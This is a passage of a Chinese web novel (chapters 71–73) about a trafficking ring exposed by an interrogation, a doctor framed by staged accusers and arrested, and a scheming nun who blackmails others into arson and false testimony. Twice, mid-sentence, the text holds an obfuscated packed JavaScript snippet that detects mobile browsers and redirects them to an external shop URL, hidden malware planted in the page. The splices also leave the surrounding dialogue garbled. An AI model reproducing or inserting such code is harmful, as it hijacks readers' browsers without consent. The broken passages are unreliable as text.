苟文书想了想，声音越来越小：“每年……少则二三十，多则五六十。具体多少，小人没记过。但这些年加起来……” 他没说完，但所有人都听懂了。 十年，每年几十个——那是数百条人命。 裴宴沉默了很久。柴房里只有油灯的火苗在跳动，将所有人的影子拉得忽长忽短。 “王兆贵，”他终于再次开口，“除了这些，还有什么？” 苟文书已经彻底放弃了抵抗，竹筒倒豆子般全说了出来。 王兆贵的生意，远不止人口贩卖。他还插手药材、丝绸、茶叶，垄断归平县大半市场。背后撑腰的，除了弟弟王兆仁，还有王兆仁的干爹崔琰。崔琰不仅是他后台，还是他最大买主。 “药材？”长风忍不住插嘴，“庆和堂囤积药材，是不是他的手笔？” 苟文书点头：“是。崔大人那边要的，说北边缺药，价格高。王大官人就大量收购，囤着等涨价。” 裴宴的手指在扶手上轻轻叩击。张记的困境，果然和他们有关。 “还有呢？”他问。 苟文书犹豫了一下，声音压得更低：“还有水月庵。” 裴宴眼神微动。 “水月庵那个水仙姑是王大官人的相好。”苟文书道，“那些女子，有些就是水仙姑送来的。她说是在庵里收留的孤女，其实好多是……是被骗来的。水仙姑得了好处，王大官人也得了货源，两人各取所需。” 柴房里再次陷入死寂。 裴宴缓缓起身，走到苟文书面前，低头看着他。 “你说的这些，可有证据？” 苟文书拼命点头：“有！有！王大官人那里有账本，记着每一笔买卖。还有……还有和水仙姑来往的信件。他都留着......” 裴宴冷笑。果然，这些人彼此勾结，也彼此提防。 “账本在何处？” “在……在归平县王家大宅的书房里。”苟文书道，“有个暗格，在书架后面。小人亲眼见过大官人取放。” 裴宴转身，对长风道：“派人去归平县，盯住王兆贵。不要打草惊蛇，等京城那边的消息。” “是。”长风应下。 裴宴最后看了苟文书一眼：“把他带下去，好好看管。留着他，还有用。” 两个侍卫上前，将苟文书拖了出去。柴房里重归寂静，只剩裴宴一人站在昏黄的灯光下。 他低头看着自己修长的手指。这双手批过无数公文，握过剑，执过印。此刻却被愤怒驱使有些颤抖。 数百条人命。数百个被当成货物一样买卖的女子。她们被拐骗、被略卖、被送上不知去向的船只，从此再无音信。 而始作俑者，还在逍遥法外。 裴宴闭上眼，深吸一口气，将那股汹涌的情绪压下去。 愤怒无用。现在要做的，是收网。 他走出柴房，夜风扑面而来，带着深秋的寒意。行辕院中那棵老槐树的叶子已经落了大半，光秃秃的枝桠伸向夜空，像一只只挣扎的手。 “郎主，”长风跟上来，低声道，“那些女子就在城东宅子里的，要不要先救出来？” 裴宴摇头：“再等等。现在救出她们，无异于打草惊蛇。王兆仁那边还没动，崔琰那边也没惊动。一旦他们察觉，销毁证据，就前功尽弃了。” 长风急了：“可她们……” “我知道。”裴宴打断他，声音里带着一丝冷冽，“不能意气用事。” 裴宴拍了拍他的肩：“放心，她们会没事的。不是已经让人暗中照看，等时机一到，第一个救的就是她们。” 长风眼眶微红，重重抱拳：“小的明白。” 回到书房，裴宴重新坐在书案前。案上摊着秦海张超刚送来的密报——关于那个宋兄的调查。 宋大，宋国公府管事，宋国公堂兄之子，宋衙内的心腹。十年前曾在翠玉楼大火当晚出现，接走了玉娘。后因卷入一桩人命案，被宋国公打发回应天府老家。 应天府，离菰城不过数百里。 裴宴提笔，在舆图上应天府的位置画了一个圈。 快了。所有线索都在收拢，所有证据都在汇聚。等京城那边的消息一到，等找到那个宋大，就可以收网了。 72. 第72章 闹事 张记生药铺的门板刚卸下不久，许娇娇送走了今早第一位病人。是个咳嗽了半月的孩子，她开了三剂润肺止咳的方子，嘱咐那妇人隔日再来复诊。妇人连连道谢，抱着孩子出门时，正撞上一个匆匆跑来的汉子。 那汉子约莫三十出头，穿着一身半旧的靛蓝短褐，袖口挽着，露出两截精瘦的小臂。他急匆匆来，脸色略显虚浮，一进门眼睛就四处乱转，最后定在柜台后那一排排药柜上。 “张东家呢？”他大咧咧地往诊案前一站，嗓门亮得整个铺子都听得见，“叫你们东家出来！” 廖大夫正给一位老翁把脉，闻言抬起头：“这位老哥，东家出门了。你有什么事？若是瞧病，我和万大夫、许娘子都在。” “瞧病？”那汉子嗤笑一声，伸手在诊案上重重一拍，“我不瞧病，我讨公道！” 那一下拍得案上的笔墨都跳了起来，墨汁溅出几点，落在刚写好的方子上。老翁吓了一跳，颤巍巍地缩了缩身子。 廖大夫眉头一皱，站起身：“这位老哥，有话好说。什么公道？” “什么公道？”汉子瞪着眼，指着柜台后面，“我兄弟在你们这儿抓的药，吃了三日，今早上吐下泻，人都快不行了！你们张记卖假药，害人性命，还敢问我什么公道？” 此言一出，满堂皆惊。 几个抓药的伙计停下动作，候诊的病家纷纷侧目。许娇娇放下手中的笔，站起身，目光落在那汉子身上。 他说话时眼神飘忽，时不时往门外瞟一眼，像是在等什么人。那副架势，不像是死了亲人的悲愤，倒像是唱戏的等着锣鼓点儿。 “这位大哥，”许娇娇走上前，声音平静，“你兄弟抓的是什么药？可带着药方？可带着剩下的药材？” 那汉子这才正眼看向她，上下打量一番，嘴角一撇，露出一个不怀好意的笑：“哟，这就是那个女郎中吧？听说你医术了得，疫病期间救了不少人？怎么，救人的时候手到病除，卖假药的时候也不含糊？” 他的话粗鄙无礼，带着明显的挑衅意味。许娇娇蹙眉，这是来找茬了？ 廖大夫沉下脸：“这位老哥，说话要有凭据。你说我们卖假药，药方呢？药材呢？” “药方？”汉子往地上啐了一口，“我兄弟都快死了，谁还顾得上带那劳什子？药材？早熬了喝了，上哪儿找去？” “那就说不通了。”万大夫从诊案后走出来，他脾气暴躁，见这汉子胡搅蛮缠，忍不住呛声，“无凭无据就来闹事，我看你是成心找茬！” “我找茬？”那汉子像是被踩了尾巴的猫，一下子跳起来，“你们卖假药吃死了人，还敢说我找茬？我兄弟一条命，就值你们一句找茬？” 他越说越大声，引得过路的人纷纷驻足。不多时，张记门口便围了一圈看热闹的人，探头探脑往里张望。 那汉子见人多了，愈发来劲，指着许娇娇的鼻子骂道：“你个臭娘们，仗着有几分姿色，在男人堆里混饭吃，还真把自己当个人物了？我告诉你，今天这事儿没完！你们张记，还有你这个招摇撞骗的女郎中，都得给我兄弟偿命！” 这话恶毒至极，连围观的人都听不下去了，有人低声道：“这话说得太难听了……” 许娇娇心中了然。果然，这些日子的风平浪静，就应在今日。 她抬眼看着那个汉子，没有接话。她在等，等这出戏的下一幕。 果然，人群外忽然传来一阵哭嚎声。 “让开！都让开！让我进去！” 一个妇人披头散发地挤进人群，身后还跟着两个同样哭哭啼啼的婆子。那妇人约莫四十来岁，穿着一身粗布衣裙，脸上涕泪横流，一进门就往地上一坐，拍着大腿嚎啕大哭。 “天杀的张记啊！黑了心肝的药铺啊！害死了我弟媳妇，一尸两命啊！” 那先来的汉子见这妇人进来，眼中闪过一丝喜色，随即又敛去，换上一副同仇敌忾的模样：“这位大嫂，你们家也是被张记害的？” 那妇人哭得更大声了：“我那弟媳妇，年纪轻轻，肚子里还揣着个娃，就那么活活疼死了啊！都是这个姓许的妖妇，见死不救，还指了条野路害得我兄弟困了一夜，误了时辰！天爷呀，你开开眼，劈死这蛇蝎心肠的毒妇吧！” 她一边哭一边往许娇娇这边爬，伸手就要去抓许娇娇的裙角。许娇娇退后一步，避开了她的手。 “这位大嫂，”她蹙眉看着妇人，“你说小女见死不救，害了两条人命，说的是赵大家的事吧？” 那妇人一愣，随即哭得更凶：“你承认了？你承认你见死不救了？” “小女承认的，是知道这件事。”许娇娇看着她，“但见死不救的，不是小女。” “放你娘的屁！”那妇人腾地站起来，指着许娇娇的鼻子骂，“我兄弟亲口说的，那夜大雨，他冒雨去寻你，在后山见到个年轻姑娘，戴着斗笠，披着蓑衣，虽看不清全脸，但她自称娇杏！那女子说的话，我兄弟学得一字不差。说什么：“这等污秽之事，也配来寻我？我平日行医济世，那是积德行善。妇人产育，血光冲天，最是晦气。我清清白白一个未出阁的女子，沾了这晦气，往后还怎么说亲？你且回去吧，生死有命。”。 “这不是你说的？还能是鬼说的？” 这话一出，围观的人群顿时议论纷纷。 “这话说得也太毒了……” “真是她说的？不像啊，我看着这女郎中挺和气的……” “知人知面不知心，谁知道呢……” 许娇娇听着那些议论，心中一片清明。那个枉死的赵大媳妇和她肚子里的孩子，她夜深人静时有时也会想起来，心里仍会隐隐作痛。那夜她要是能听到赵大的请求就好了。可眼前这妇人，分明是被人指使，将静非那老尼姑造的孽，尽数扣在她头上。 “这位大嫂，”许娇娇看着那妇人，声音微沉，“你怎能出口伤人。我是听青坑村的桂花说，你兄弟赵大那夜确实来求医。但他并没有找到我所住的茅屋，他在半路上遇到的那个人不是我，而是水月庵的尼姑静非师太。她冒充我，欺骗了赵大。那夜，我并没有听到有人敲门。” “冒充？”那妇人冷笑，“你当我们是傻子？谁没事冒充你？分明就是你见死不救，如今还想抵赖！” 她话音未落，人群中又挤出几个人来。 “对，就是她！”一个穿着粗布衣裳的中年汉子指着许娇娇，“我是落溪村的，我亲眼见过她！她爹许大郎在村里的时候，她还不会说话。后来许大郎夫妻被她克死了，她被赶出村子，就去水月庵做了尼姑。这女人，从小就心术不正！” 又一个婆子接口道：“可不是嘛！我听水月庵的水仙姑说，她在庵里就不安分，整天往外跑，也不知勾搭些什么人。后来还俗了，来菰城坐诊，也不知是怎么攀上的关系。” 一个年轻后生也跟着起哄：“我听说她在疫病期间出了大风头，连钦差都夸过她。一个女流之辈，没点手段，能混到这个地步？” 你一言我一语，句句都是诛心之言。 许娇娇站在铺子中央，背脊挺得笔直。她看着这些突然冒出来的“证人”，心里渐渐明朗。这不是赵大媳妇难产那件事被翻出来，而是一场有预谋的围剿。先头那汉子是来闹事的，后头这妇人是来坐实的，再后面这些乡亲、香客，是来推波助澜的。 一环扣一环，配合得天衣无缝。 而背后操控这一切的，除了王大官人和水仙姑，还能有谁？ 廖大夫气得浑身发抖，护在许娇娇身前，对那些人吼道：“你们、你们血口喷人！许娘子行医以来，救了多少人，你们去问问那些病家！疫病期间她没日没夜地救人，你们那时怎么不来骂她？” 万大夫也站了出来，指着那几个闹事的：“你们说张记卖假药，证据呢？你们说许娘子见死不救，证据呢？空口白牙就想毁人清誉，还有王法吗？” “王法？”那先头的汉子怪笑一声，“王法就是你们这些黑心烂肠的东西，早晚得下地狱！” 他越说越起劲，索性走到许娇娇面前，指着她的鼻子，唾沫星子都溅到她脸上：“你个小贱人，别以为攀上高枝就抖起来了！我告诉你，你那点破事，早晚得抖搂干净！到时候，别说行医，你连这菰城都待不下去！” 这话说得露骨至极，已经不只是闹事，简直是威胁了。 许娇娇抬起眼，静静看着他。那目光不怒不惧，清凌凌的，像深冬的寒潭，看得那汉子心里莫名一颤。 “你看什么看？”他梗着脖子，“还想打人不成？” 许娇娇没有理他。她的目光越过那汉子的肩膀，落在人群外。 那里，几个穿着皂衣的人正拨开人群，大步走来。 为首的是个四十来岁的汉子，生得膀大腰圆，一脸横肉，腰间挎着刀。他身后还跟着五六个差役，个个神情倨傲，目光在铺子里扫了一圈，最后定在许娇娇身上。 “哟，这是怎么了？张记怎么这么热闹？”为首的押差皮笑肉不笑地开口。 那先头闹事的汉子见官差来了，眼中闪过一丝喜色，与那妇人对视一眼，两人都悄悄往后退了半步，隐入人群中。 押差走到许娇娇面前，上下打量她一番，从怀中掏出一张纸，抖开： “你就是那个姓许的女医？归平县衙有令——有人告你谋害人命，致赵门王氏母子双亡，一尸两命！跟我们去衙门走一趟吧！” 谋害人命！ 一尸两命！ 这四个字像一颗石子投入静水，激起轩然大波。围观的百姓轰的一声议论开了，张记的伙计和病人都变了脸色。 许娇娇却没有动。她目光落在那张纸上，没有伸手去接，只静静看着那押差。 “敢问这位差爷，”她的声音平稳，不急不躁，“这是哪处衙门签发的文书？” 那押差一愣，随即瞪眼：“文书上写得明白，归平县衙！怎么，不识字？” “字是识的。”许娇娇点头，“但小女有一事不明。此处是菰城，不是归平县。差爷从归平县来，要拿小女去归平县过堂，可曾知会过菰城府衙？可有当地官府的协捕公文？” 这话一出，那押差脸色微微一变。 他身后几个差役 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362427|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 互相看了一眼，气氛骤然紧绷。 围观的百姓也静了一静，有人低声嘀咕：“对啊，跨县拿人，是要当地衙门点头的吧……” 那先头闹事的汉子见势不妙，立刻从人群中嚷起来：“哟，还敢质疑公差？这是要拒捕不成？” “对！拒捕就是心虚！”那几个婆子也跟着起哄，“她要不是心里有鬼，怎么不敢跟公差走？” “就是就是！真金不怕火炼，怕的就是心里有鬼！” 起哄声此起彼伏，人群又开始骚动。 那押差被这一嚷，底气又足了。他往前逼了一步，冷笑道：“协捕公文？老子抓人，还要你教？告诉你，归平县尊亲笔签发的追牒，比什么公文都硬！今日你走也得走，不走也得走！别敬酒不吃吃罚酒！” 他话音未落，身后两个差役已经往前站了一步，手按在腰间铁链上。那铁链哗啦啦响了两声，在静下来的铺子里格外刺耳。 廖大夫急得直跺脚，护在许娇娇身前：“你们、你们这是滥用职权！跨县拿人没有当地公文，不合规矩！” “不合规矩？”那押差嗤笑一声，“老子就是规矩！再啰嗦，连你一起锁了！” 万大夫也冲上来，却被一个差役一把推开，踉跄着撞在柜台上。 许娇娇看着那押差手中的文书，纸张颜色偏暗，用印的位置似乎比她之前在县衙见过的略低一些。她看不真切，但押差的反应已经告诉她答案。 程序不合。但强权压人。 她没有再争辩，只伸手轻轻拨开护在她身前的廖大夫，走上前一步。 “好，小女跟你们走。” 那押差一愣，显然没想到她这么痛快就服软。 许娇娇看着他的眼睛，声音依旧平稳，一字一句道：“但小女记下了。今日来抓小女的，是归平县的差爷，手持归平县的文书，没有菰城官府的协捕公文。小女跟你们走，不是认罪，是遵朝廷的法度。至于这文书合不合规矩，日后自有公论。” 那押差脸色一黑，正要发作，许娇娇已经转身，向廖大夫和万大夫深深一福。 “两位大夫，小女连累张记了。铺子里的事，拜托你们。那些等着复诊的病家，劳烦二位多费心。还有——”她顿了顿，声音微低，“劳烦二位告知张东家，小女此去归平，是有人告小女谋害赵门王氏。告状的是谁，小女不知。但小女信得过朝廷的法度，也信得过明镜高悬。” 廖大夫眼眶都红了，连连点头：“你放心，你放心！我们这就去想办法，去找张东家，去找——” “廖大夫。”许娇娇打断他，轻轻摇了摇头。 廖大夫怔住，顺着她的目光往门外看了一眼——那些闹事的人还挤在人群里，目光灼灼地盯着这边。那几个婆子正交头接耳，那先头的汉子正和一个差役眉来眼去。 说什么，都不该当着这些人的面说。 廖大夫咬牙咽下后面的话，只用力点了点头。 那押差已经不耐烦了，一挥手：“带走！” 两个差役上前，一条铁链就要往许娇娇脖子上套。许娇娇退后一步，看着那押差：“差爷，小女一介女流，手无缚鸡之力，又认了跟你们走，这铁链，可否免了？” 那押差看了她一眼，大约是见她确实不像是会逃跑的样子，又当着这么多人的面，便摆了摆手：“罢了罢了，链子免了，老实跟着走！” 许娇娇点了点头，最后看了一眼张记的招牌，随差役走出门去。 围观的百姓自动让开一条路。那先头的汉子站在人群里，脸上的笑都快藏不住了。那妇人也收了泪，和几个婆子挤在一起，低声说着什么。 许娇娇从他们身边走过时，脚步顿了顿。 她看着那汉子，忽然笑了笑。那笑容很淡，却让那汉子心里莫名一寒。 “你、你笑什么？” 许娇娇没有回答，只收回目光，继续往前走。 秋风卷起满街落叶，打着旋儿从她身边掠过。她抬头看了看天——灰蒙蒙的，压得很低，像是又要落雨的样子。 张记门口，廖大夫扶着门框，看着那群人渐渐走远，忽然对身边的万大夫低声道：“你快去，从后门走，去寻张东家。告诉他，归平县来人，没有菰城的公文，不合规矩。还有——” 他压低了声音：“去打听打听，归平县那边，到底是谁告的状。能这么快让县尊签发追牒，背后的人，怕是不简单。” 万大夫点点头，转身往后院去了。 人群渐渐散去。那几个闹事的人凑在一起，低声说了几句什么，也各自散了。那先头的汉子走出一段路，回头看了一眼张记的招牌，啐了一口，咧嘴笑了。 “成了。”他对自己说。 人群边缘的阴影里，一个戴着帷帽的女子静静站着。她看着许娇娇被差役带走的方向，帷帽下唇角微微上扬，露出一抹笑意。 那笑意，像吐着信子的蛇。 许娇娇已经走出很远了。她没有回头，但她知道，那个人一定在看着。 水仙姑。 她收回目光，随差役往县衙的方向走去。 73. 第73章 旧怨新谋 暮色四合，山里的天气黑的比别处要早些。 水仙姑站在水月庵后院的阁楼上，望着天边最后一抹余晖被夜色吞没。从窗外远望，正对着窗口的那棵老歪脖子枣树光秃秃的枝桠伸向灰蒙蒙的天空，像一只只干枯的手。树下埋着了尘师父的尸骨，已经整整八年了。 她收回目光，转身回到屋里，在妆台前坐下。 铜镜里映出一张年过三旬的脸，脂粉掩不住眼角细纹，那双眸子在烛光下闪着幽冷的光。她伸手从妆匣底层取出那支海棠金簪，指尖缓缓抚过冰凉的金丝花瓣。 这是当年那夜，从戴明书身上取下的。她原本以为这是他要送给她的，后来才想明白。那畜生身上带着这种东西，不过是要在折磨完人后，随手丢给那些可怜女子，当作赏赐罢了。 可笑她当年还为此沾沾自喜。 水仙姑冷笑一声，将金簪插回发间。镜中那张脸在烛光里明明灭灭，像是十年前翠玉楼那场大火中逃出的鬼魅。 那场大火。 她闭上眼，那夜的画面又浮现在眼前。冲天的火光，凄厉的惨叫，浓烟中挣扎的人影，还有那个站在后巷阴影里，手执火把的纤细身影。 罗玉娘。 那个在她身边伏低做小了两年、她从未正眼看过的粗使丫鬟。平日里怯生生的，说话都不敢大声，挨了骂只会低着头小声啜泣，她水娘在翠玉楼春风得意时，哪里会将这样的小丫头放在眼里？ 可就是这样一个她瞧不上的人，放了一把火，烧死了二十三个人。 水仙姑睁开眼，眼中闪过恨意。 那夜她仓皇逃出，一路南下，九死一生才活到现在。身上留了疤，心里落了病，这些年午夜梦回，常常被那场大火惊醒。她恨戴明书，恨老鸨，恨那些把她推进火坑的人，可她最恨的，是罗玉娘。 若不是那场火，她或许还能在翠玉楼再熬几年，攒够了钱赎身，寻个老实人嫁了，过寻常日子。可那场火把一切都烧没了，她成了逃犯，成了死人，只能顶着别人的身份苟活于世。 她以为罗玉娘也死在了那场火里，或者被官府抓了砍头。毕竟放火烧死了那么多人，尤其是忠勤伯府的嫡长子，朝廷岂会善罢甘休？ 可命运这东西，真是会开玩笑。 当她无意中看到了成为崔娘子的罗玉娘时，整个人如遭雷击。 是她。虽然年长了十岁，穿着打扮已是良家妇人模样，可那双眼睛，那张脸，分明就是罗玉娘。 她没死。她不但活得好好的，还嫁了人，做了官家妇。她暗中让王大官人帮着打听，才知道，这贱人不但攀上了高枝，摇身一变，竟成了体面的娘子。 水仙姑当时就笑了，笑得眼泪都流出来。 好啊，真是老天开眼。当年那个放火的贱人，如今倒装起良家妇女来了。还嫁了人？真是讽刺。更讽刺的是，她就住在许娇杏隔壁，和那几个小贱人做了邻居。 水仙姑当即让人传信，约罗玉娘出来见面。 那日在城西观音桥巷口，当罗玉娘看到她时，那张保养得宜的脸上瞬间血色尽褪，眼中的惊恐与难以置信，让她心里涌起一股扭曲的快意。 “玉娘，别来无恙啊！”她当时是这么开场的，声音温柔得像毒蛇吐信。 罗玉娘浑身发抖，几乎站立不稳：“你……你没死……” “托你的福，侥幸捡回一条命。”水仙姑逼近一步，压低声音，“倒是你，胆子不小。放了那么大一场火，烧死了忠勤伯府的公子，居然还能全身而退，跑到江南来嫁人生子。真是好手段。” “我……我不知道你在说什么……”罗玉娘眼神躲闪，声音发颤。 “不知道？”水仙姑轻笑，“需要我提醒你吗？十年前，翠玉楼大火，你拿着火把站在后巷的样子，我可记得清清楚楚。要不要我现在就去衙门，找官爷们聊聊？” 罗玉娘脸色煞白，嘴唇哆嗦着，却说不出话。 水仙姑满意地看着她的反应。她太了解这种人了。外表怯懦，内心却藏着最深的恐惧。一旦恐惧被戳破，就会像抽了筋的蛇，再也动弹不得。 她从袖中取出一个小布包，塞进罗玉娘手里：“这里有几两碎银，还有张字条。字条上写得很清楚，我要你帮我做一件事。事成之后，你我两清，从前的事我烂在肚子里，你继续做你的崔娘子。” “什么事……”罗玉娘声音微弱。 “你隔壁住着的那个许娇杏，还有她那两个师姐，我要她们死。”水仙姑一字一句道，“像当年那样，放一把火，烧得干干净净。” 罗玉娘猛地抬头，眼中满是惊恐：“不……不行……我不能再……” “不能再什么？”水仙姑打断她，声音冷得像冰，“不能再放火？当年你放火烧死二十三个人的时候，怎么没想过不行？怎么，如今做了官家妇，就想把那些事一笔勾销？” 她凑近罗玉娘耳边，声音轻得像耳语，却字字诛心：“我告诉你，玉娘，你手上沾的血，这辈子都洗不干净。你是杀人犯，是逃犯，是忠勤伯府悬赏缉拿的要犯。只要我一句话，你现在的丈夫、你的女儿、你这些年苦心经营的一切，都会化为乌有。” 罗玉娘彻底瘫软，若不是靠着墙，几乎要栽倒在地。 水仙姑看着她绝望的神情，心中那口憋了十年的恶气，终于出了大半。 “我给你一个月的时间。”她退后一步，恢复了那种云淡风轻的语气，“一个月之内，我要看到柳枝巷那小院化为灰烬，里面的人一个不留。到时候，你我两清，从前的账一笔勾销。否则……” 她没有说完，但意思已经足够明白。 罗玉娘没有回答，只是浑身颤抖着，像风中的落叶。 水仙姑转身离去，走出几步，又回头看了一眼。罗玉娘还站在那里，低着头，看不清表情。巷口的夕阳将她的影子拉得长长的，投在地上，像一道黑色的裂痕。 水仙姑唇角勾起一抹冷笑。 她当然不会真的放过罗玉娘。这种知道她太多秘密的人，留着迟早是祸患。等许娇杏的事解决，她自然会想办法，让这位崔娘子“意外消失”。 就像当年了尘师父那样。 可日子一天天过去，柳枝巷那边毫无动静。 水仙姑派去盯梢的人回报，说崔娘子每日照常出入，买菜、洗衣、做针线，和寻常妇人别无二致。那小院里的人也安然无恙，许娇杏照旧去张记坐诊，静尘静心照旧在院里晾晒药材，甚至连那只黑狗都活蹦乱跳的。 水仙姑等得心焦，又让人传信催促。罗玉娘回话说，许娇杏身边有人暗中保护，不好下手，要再等时机。 等，等，等到什么时候？ 水仙姑知道这是在拖延。罗玉娘怕了，她不敢再放火，不敢再杀人。可越是这样，她就越不能放过她。一个人既然迈出了那一步，就别想再回头。 她正打算亲自再去见罗玉娘一次，给她下最后通牒，没想到，来了个意想不到的人。 那日傍晚，庵里的小尼姑来报，说门外有个尼姑求见，自称是故人。 水仙姑起初没在意，只当是哪个云游尼姑来挂单。 可那小尼姑又说：“那师父说，她叫静非，和主持是旧相识。” 静非？ 水仙姑手里的茶盏差点掉落。 那个贱人，竟然还敢回来？ 她压下心头的怒火，冷冷道：“让她进来。” 不多时，静非被带了进来。 一年多不见，静非瘦了很多，也憔悴了很多。原本还算白净的脸上添了风霜之色，眼角皱纹深了，嘴角也耷拉下来，整个人像是老了十岁。身上那件灰扑扑的僧袍洗得发白，袖口磨破了，用粗针大线胡乱缝着，针脚歪歪扭扭，一看就不是她自己缝的。 那双眼睛，还是和从前一样，骨碌碌转着，一进门就四处乱瞄，最后落在水仙姑身上，挤出满脸的笑。 “水仙姑，可算是见着你了！”静非扑过来就要行礼，被水仙姑抬手止住。 “慢着。”水仙姑坐在椅上没动，冷冷打量着她，“你还敢回来？” 静非脸上的笑僵了僵，随即又堆起来：“瞧你说的，我这不是……这不是想着回来给你请安嘛。那日衙门来人，我吓坏了，稀里糊涂就跑出去了。后来听说你没事，我就想回来，可……” “可什么？” 静非眼神闪烁，支支吾吾道：“可路上遇到些事，耽搁了。这不是一脱身就赶紧回来了嘛。” 水仙姑冷笑。她太了解静非了，这贱人嘴里没一句实话。什么“耽搁了”，分明是趁机跑了，还顺走了她的首饰银两。她出狱后清点东西，发现少了几件值钱的，用脚趾头想也知道是谁干的。 “脱身？”她慢悠悠地问，“从哪儿脱身？那个姓周的泼皮身上？” 静非脸色变了变，随即又挤出笑：“你……你都知道了？” “知道什么？”水仙姑端起茶盏，轻轻撇着浮沫，“知道你跟那个泼皮勾搭成奸，被他骗光了钱财，然后被他一脚踹开？还是知道你在宣州县混不下去了，才想起回来投奔我？” 静非脸上的笑彻底僵住了。她张了张嘴，想辩解，却说不出话来。 水仙姑放下茶盏，站起身，走到她面前。 静非比她矮半个头，此刻被她盯着，不由自主地往后退了一步。 “静非啊静非，”水仙姑的声音不高，却带着让人胆寒的冷意，“你跟了我这些年，我待你不薄吧？吃穿用度，哪样短了你的？可你呢？见我出事，二话不说就跑，还顺手牵羊拿走我的东西。如今混不下去了，又跑回来，想让我收留你？” 静非的腿开始打颤。她知道水仙姑的手段，那些年在庵里，凡是得罪她的人，没有一个有好下场。有的病故了，有的云游去了再没回来，还有的莫名其妙就消失了。 “我……我……”她结结巴巴地说，“我也是没办法……那个周扒皮，他骗我，说我跟他走，他会对我好。我一时糊涂……” “一时糊涂？”水仙姑冷笑，“你倒会为自己开脱。” 她转身走回椅边，重新坐下，端起茶盏抿了一口，眼神睥睨的凝视着静非。 静非浑身胆寒，她忙涎笑着表忠心，“仙姑我的好师父，您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17362890|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大人有大量，饶了我罢！我保证，往后一定好好服侍您，再也不……” “让我留你在庵中也不是不行。”水仙姑乜斜着她，慢条斯理地道：“但你总得有拿得出手的投靠理由罢！” 静非一愣，随即眼珠转了转：“仙姑有什么话但讲无妨，我一定照办就是。” “那你这段时日在外，有没有听说菰城的一些事情？”水仙姑见静非如此上道，便也不再弯抹角试探她。“那个许娇杏你还记得吧！” “仙姑说的是她呀！自然记得，也听说过不少她的事。听说她在菰城混得不错，还在什么张记生药铺坐诊，救了不少人。” “就这些？” 静非赔笑道：“我虽在外面，也时常打听消息。那宣州离菰城不远，来往人多，偶尔能听到些风声。” 水仙姑沉默片刻，忽然问：“那赵大的事，你可记得？” 静非脸色变了变，随即又恢复如常：“记得。那夜大雨，赵大来求医，我……我假扮许娇杏，把他骗走了。” “结果呢？” “结果……”静非吞了口唾沫，“结果听说他媳妇难产死了，一尸两命。” 水仙姑盯着她，目光幽深：“你可知道，这事儿如今被人翻出来了？” 静非一惊：“什么？” “有人在张记闹事，拿这事儿告许娇杏见死不救，谋害人命。”水仙姑缓缓道，“今日下午，衙门的人已经把她带走了。” 静非先是惊愕，随即眼中闪过一丝喜色，但很快又敛去，换上一副担忧的样子：“那可真是……真是老天有眼。不过，这事儿会不会牵连到我……” “牵连？”水仙姑嗤笑一声，“你以为你能置身事外？” 静非脸色白了白。 水仙姑站起身，走到窗前，望着外面漆黑的夜色。月光透过云层洒下来，在地上投下斑驳的树影，像无数扭曲的手。 “静非，”她背对着静非，声音听不出情绪，“你假扮许娇杏的事，除了你我，还有谁知道？” “没……没有了。”静非忙道，“那夜大雨，赵大没看清我的脸，只看见我穿着灰布僧袍。后来我很快就跑了，没人知道是我。” 水仙姑转过身，看着她：“那如果赵大出来作证呢？” 静非一愣：“赵大？他……他怎么会……” “如果有人说动他，让他指认那夜骗他的人是许娇杏呢？”水仙姑盯着她的眼睛，“你觉得他会不会认？” 静非张了张嘴，说不出话。 水仙姑走回她面前，伸手抬起她的下巴，逼她看着自己：“静非，你跟着我这些年，应该知道我的脾气。我最恨的，就是吃里扒外、背信弃义的人。你跑也就跑了，偷我东西也就偷了，我都可以不计较。但你得给我一个不计较的理由。” 静非浑身发抖，嘴唇哆嗦着，却一个字都说不出来。 水仙姑松开手，退后一步，声音放柔和了些：“你假扮许娇杏的事，如今是个把柄，也是个机会。你想留下，可以。但得帮我做件事。” “什……什么事？”静非小心翼翼地问。 “去衙门，作证。”水仙姑看着她，眼中闪着幽冷的光，“证明那夜骗赵大的人，就是许娇杏。” 静非脸色大变：“可……可那夜明明是我……” “是你又怎样？”水仙姑打断她，“你不说，我不说，谁知道是你？赵大只知道那夜见到个穿灰布僧袍的年轻女子，自称娇杏。至于那女子是谁，他怎么分辨得出？” 静非嘴唇动了动，还想说什么。 水仙姑又道：“你放心，不会让你白做的。事成之后，我帮你换个地方，重新开始。银子、身份，我都给你安排妥当。你拿着钱，远走高飞，从此天高皇帝远，再也不用看人脸色过日子。” 静非眼中闪过挣扎。她当然知道这是冒险，万一露了馅，她不但脱不了身，还可能被牵连进去。可她也知道，如果不答应，水仙姑绝不会放过她。 那些年在庵里，她见过太多得罪水仙姑的人的下场。 “我……”她终于开口，声音沙哑，“我答应你。” 水仙姑脸上露出满意的笑容。她伸手拍了拍静非的肩，那动作看着温和，却让静非浑身一颤。 “这就对了。”水仙姑道，“你放心，我不会亏待你的。事成之后，你就是我的大功臣。” 静非挤出一个比哭还难看的笑。 水仙姑转身，走到门口，唤来一个小尼姑：“带静非师父去厢房歇息，好生伺候着。” 小尼姑应声，引着静非往外走。 静非走到门口，忽然回头，看着水仙姑：“你……你真的会放过我吗？” 水仙姑站在烛光里，脸上的表情看不真切。她微微一笑，那笑容在摇曳的光影里，显得格外诡异。 